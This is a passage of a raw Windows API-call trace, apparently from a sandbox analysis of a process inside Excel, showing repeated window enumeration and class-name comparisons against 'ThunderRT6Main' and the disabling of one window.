lpString2="ThunderRT6Main") returned -1 [0140.694] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0140.695] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10116 [0140.695] GetClassNameA (in: hWnd=0x10116, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0140.695] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0140.695] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0140.695] GetWindow (hWnd=0x10116, uCmd=0x2) returned 0x20018 [0140.695] GetClassNameA (in: hWnd=0x20018, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0140.695] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0140.695] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0140.695] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0140.695] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.695] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.695] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0140.695] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0140.695] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0140.695] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0140.695] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0140.695] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0140.695] GetClassNameA (in: hWnd=0x20016, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.695] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.695] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0140.695] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0140.695] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0140.695] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0140.695] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0140.695] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x1010a [0140.695] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.695] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.696] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0140.696] GetWindow (hWnd=0x1010a, uCmd=0x2) returned 0x10106 [0140.696] GetClassNameA (in: hWnd=0x10106, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0140.696] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0140.696] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x570 [0140.696] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10104 [0140.696] GetClassNameA (in: hWnd=0x10104, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0140.696] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0140.696] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0140.696] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x10100 [0140.696] GetClassNameA (in: hWnd=0x10100, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0140.696] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0140.696] GetWindowThreadProcessId (in: hWnd=0x10100, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0140.696] GetWindow (hWnd=0x10100, uCmd=0x2) returned 0x100fe [0140.696] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0140.696] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0140.696] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x53c [0140.696] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0140.696] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0140.696] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0140.696] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.696] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0140.696] GetClassNameA (in: hWnd=0x10084, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0140.696] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0140.696] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0140.696] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0140.696] GetClassNameA (in: hWnd=0x10082, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0140.696] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0140.697] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.697] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0140.697] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.697] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.697] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.697] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0140.697] GetClassNameA (in: hWnd=0x10068, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.697] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.697] GetWindowThreadProcessId (in: hWnd=0x10068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.697] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x20020 [0140.697] GetClassNameA (in: hWnd=0x20020, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0140.697] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0140.697] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0140.697] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0140.697] GetClassNameA (in: hWnd=0x20024, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.697] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.697] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0140.697] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x10064 [0140.697] GetClassNameA (in: hWnd=0x10064, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0140.697] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0140.697] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.697] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0140.697] GetClassNameA (in: hWnd=0x10052, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0140.697] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0140.697] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0140.697] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0140.697] GetClassNameA (in: hWnd=0x10054, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.698] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.698] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0140.698] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004c [0140.698] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0140.698] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0140.698] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.698] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10044 [0140.698] GetClassNameA (in: hWnd=0x10044, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0140.698] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0140.698] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0140.698] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x20040 [0140.698] GetClassNameA (in: hWnd=0x20040, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0140.698] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0140.698] GetWindowThreadProcessId (in: hWnd=0x20040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0140.698] GetWindow (hWnd=0x20040, uCmd=0x2) returned 0x10042 [0140.698] GetClassNameA (in: hWnd=0x10042, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.698] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.698] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0140.698] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0140.698] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0140.698] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0140.698] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x44c [0140.698] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x2001e [0140.698] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.698] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.698] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0140.699] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20022 [0140.699] GetClassNameA (in: hWnd=0x20022, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0140.699] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0140.699] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0140.699] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x100ec [0140.699] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0140.699] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0140.699] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0140.699] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0140.699] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1960 [0140.699] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1960) [0140.903] GetCurrentThreadId () returned 0xbdc [0140.903] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0140.903] GetDesktopWindow () returned 0x10010 [0140.903] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0140.903] GetClassNameA (in: hWnd=0x400a8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.903] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.903] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.903] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0140.903] GetClassNameA (in: hWnd=0x300b6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.903] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.903] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.903] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0140.903] GetClassNameA (in: hWnd=0x500a4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.904] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.904] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.904] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0140.904] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4C752C0") returned 20 [0140.904] lstrcmpA (lpString1="ATL:000007FEF4C752C0", lpString2="ThunderRT6Main") returned -1 [0140.904] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0140.904] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0140.904] GetClassNameA (in: hWnd=0x10136, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.904] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.904] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0140.904] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0140.904] GetClassNameA (in: hWnd=0x10134, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0140.904] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0140.904] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0140.904] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0140.904] GetClassNameA (in: hWnd=0x10076, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.904] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.904] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.904] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0140.904] GetClassNameA (in: hWnd=0x10074, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.904] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.904] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.904] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0140.904] GetClassNameA (in: hWnd=0x10060, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.904] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.904] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.905] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0140.905] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.905] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.905] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.905] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0140.905] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.905] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.905] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.905] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0140.905] GetClassNameA (in: hWnd=0x1007c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.905] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.905] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.905] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0140.905] GetClassNameA (in: hWnd=0x10078, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.918] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.918] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.918] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0140.918] GetClassNameA (in: hWnd=0x10056, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0140.918] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0140.918] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.918] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0140.918] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.918] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.918] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.918] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0140.918] GetClassNameA (in: hWnd=0x10058, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0140.918] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0140.918] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.918] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0140.918] GetClassNameA (in: hWnd=0x10050, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0140.918] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0140.918] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.918] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0140.918] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.918] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.918] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0140.919] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0140.919] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.919] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.919] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.919] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0140.919] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0140.919] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0140.919] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0140.919] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0140.919] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0140.919] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0140.919] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0140.919] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0140.919] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0140.919] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0140.919] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0140.919] GetClassNameA (in: hWnd=0x30154, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.919] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.919] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0140.919] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0140.919] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0140.919] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0140.919] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0140.919] GetClassNameA (in: hWnd=0x2029c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0140.919] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0140.919] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0140.919] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0140.919] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0140.919] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0140.920] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0140.920] GetClassNameA (in: hWnd=0x2038a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0140.920] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0140.920] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0140.920] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0140.920] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0140.920] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0140.920] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x20360 [0140.920] GetClassNameA (in: hWnd=0x20360, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0140.920] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0140.920] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0140.920] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0140.920] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0140.920] IsWindowEnabled (hWnd=0x20360) returned 1 [0140.920] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0140.920] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0140.920] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0140.920] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0140.920] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0140.920] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0140.920] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0140.920] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0140.920] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0140.920] GetClassNameA (in: hWnd=0x10350, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0140.920] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0140.920] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0140.921] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0140.921] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0140.921] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0140.921] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0140.921] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0140.921] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0140.921] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0140.921] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0140.921] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0140.921] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0140.921] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0140.921] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0140.921] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0140.921] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0140.921] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0140.921] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0140.921] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0140.921] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0140.921] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0140.921] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0140.921] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0140.921] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0140.921] GetClassNameA (in: hWnd=0x10270, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 